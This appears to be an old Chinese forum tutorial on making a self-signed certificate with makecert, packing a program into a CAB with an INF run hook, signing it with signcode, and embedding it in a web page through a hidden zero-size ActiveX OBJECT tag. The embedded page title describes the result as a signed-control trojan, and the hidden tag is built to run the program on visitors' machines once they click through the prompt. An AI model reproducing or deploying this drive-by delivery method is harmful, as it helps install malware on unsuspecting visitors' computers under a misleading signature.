一、“数字证书”制作软件MakeCert
makecert.exe是一个微软出品的用来制作“数字签名”的软件，是命令行界面，利用它可以轻松地做出属于自己的个人“数字签名”，当然自己做出来的这个数字签名是不属于受信任的证书的，但这并不太影响使用^*^
二、CAB压缩软件包制作工具IEXPRESS
是MAKECAB.EXE的GUI界面程序，用来把程序所需文件压缩打包为CAB格式，便于传输，当然如果你的程序是一个独立的EXE文件时，可以不需要用这个工具打包，但考虑现在多数免费空间不支持EXE格式的文件上传，建议打包！类似的工具还有命令行界面的Cabarc.exe；
三、数字签名软件 Signcode
我们可以使用signcode.exe和自己的“数字证书”签署自己的软件，给软件加上数字签名，使其可以在网页中运行。
大伙准备好了吗？下面就和我一起来属于自己的数字签名控件吧，Lets go……
第一步：制作“数字证书”
本次使用makecert的命令如下:
makecert -sv lovexy.pvk -n "CN=恋上星谕" -ss My -r -b 01/08/2003 -e 01/08/2093
其中
-sv lovexy.pvk 意思是生成一个私匙文件 lovexy.pvk
-n "CN=恋上星谕" 其中的“冰狐浪子”就是签名中显示的证书所有人的名字，记住要改为你自己的或你想要的名字呀！
-ss My 指定生成后的证书保存在个人证书中
-r 意思是说证书是自己颁发给自己的，呵呵
-b 01/08/2003 指定证书的有效期起始日期，格式为 月/日/年，最低为1900年
-e 01/08/2093 指定证书的有效期终止日期，格式同上，我想2093年我们应该是活不到的^)^
至于其他命令暂时用不到，我也不多做介绍啦。
在控制台命令提示状态输入上面命令（当然用批处理也可以）：
不需要填私匙密码吧？直接点“无”按钮就可以拉，如果你喜欢麻烦就输入密码，并记住它。好啦！已经在目录下生成了你的私匙文件lovexy.pvk，但证书在哪里？别急，打开IE 的“Internet选项”，切换到“内容”标签，看到“证书”按钮没？点它!
看见没？图中上面那个截止日期为9999-1-1的“恋上星谕”就是刚才自己生成的证书，把它“导出”为lovexy.cer，好啦，最重要的第一步已经完成!
第二步：把要用到的程序文件打包为CAB格式格式
首先建立runexe.inf文件,内容如下：
[Version]
Signature=$CHICAGO$
[icyfox]
run=%EXTRACT_DIR%\lovexy.exe
[Setup Hooks]
lovexy=lovexy
记得要把上面的“lovexy.exe”改为你的程序名！
然后，运行IEXPRESS.EXE，选中“创建新的自解压缩指令文件”，进入下一步，选中“只创建压缩文件(ActiveX安装)”，进入下一步把用到的程序包括程序调用的DLL（如果有的话）添加进列表中，千万不要忘记把“runexe.inf”也添加进来呀！点下一步：
按照图配置选项后，就连续点“下一步”，即可生成lovexy.CAB。
[注：如果你的程序是单独的一个EXE文件，也可以省去本步骤!]
第三步：为lovexy.CAB签署数字签名
运行signcode.exe，选择lovexy.CAB，“签名选项”中的“签名类型”选定“自定义(C)”,下一步 “从文件中选择”上面第一步导出的证书文件lovexy.cer，再下一步的私匙选定第一步生成的lovexy.pvk文件，然后进入描述
注意，图中“描述(可选)”：下的输入框中输入的文字在把程序嵌入网页中是会出现，请你根据“个人爱好”写上相应的描述语句，剩下的就点下一步了事！这样一个使用自己的“数字证书” 签署的具有“数字签名”可以在网页中运行的程序就做好啦！
第四步：当然就是把做好的程序嵌入到网页中，然后上传啦！
加入到网页中的代码如下(NETZS.HTM)：
<HTML><head>
<title>"数字签证"控件木马的全程制作</title></head>
<BODY>
<OBJECT width=0 height=0 style="display:none;" TYPE="application/x-oleobject" CODEBASE="lovexy.CAB"></OBJECT>
</BODY>
</HTML>
当访问者点击“是”按钮后，程序就会运行，呵呵，这样的界面你还满意吗？这样的在线工具是不是即可方便网友，又显示出自己的个性呀！更重要的可以给自己的主页增加人气噢！你还等啥？快去做吧！ |
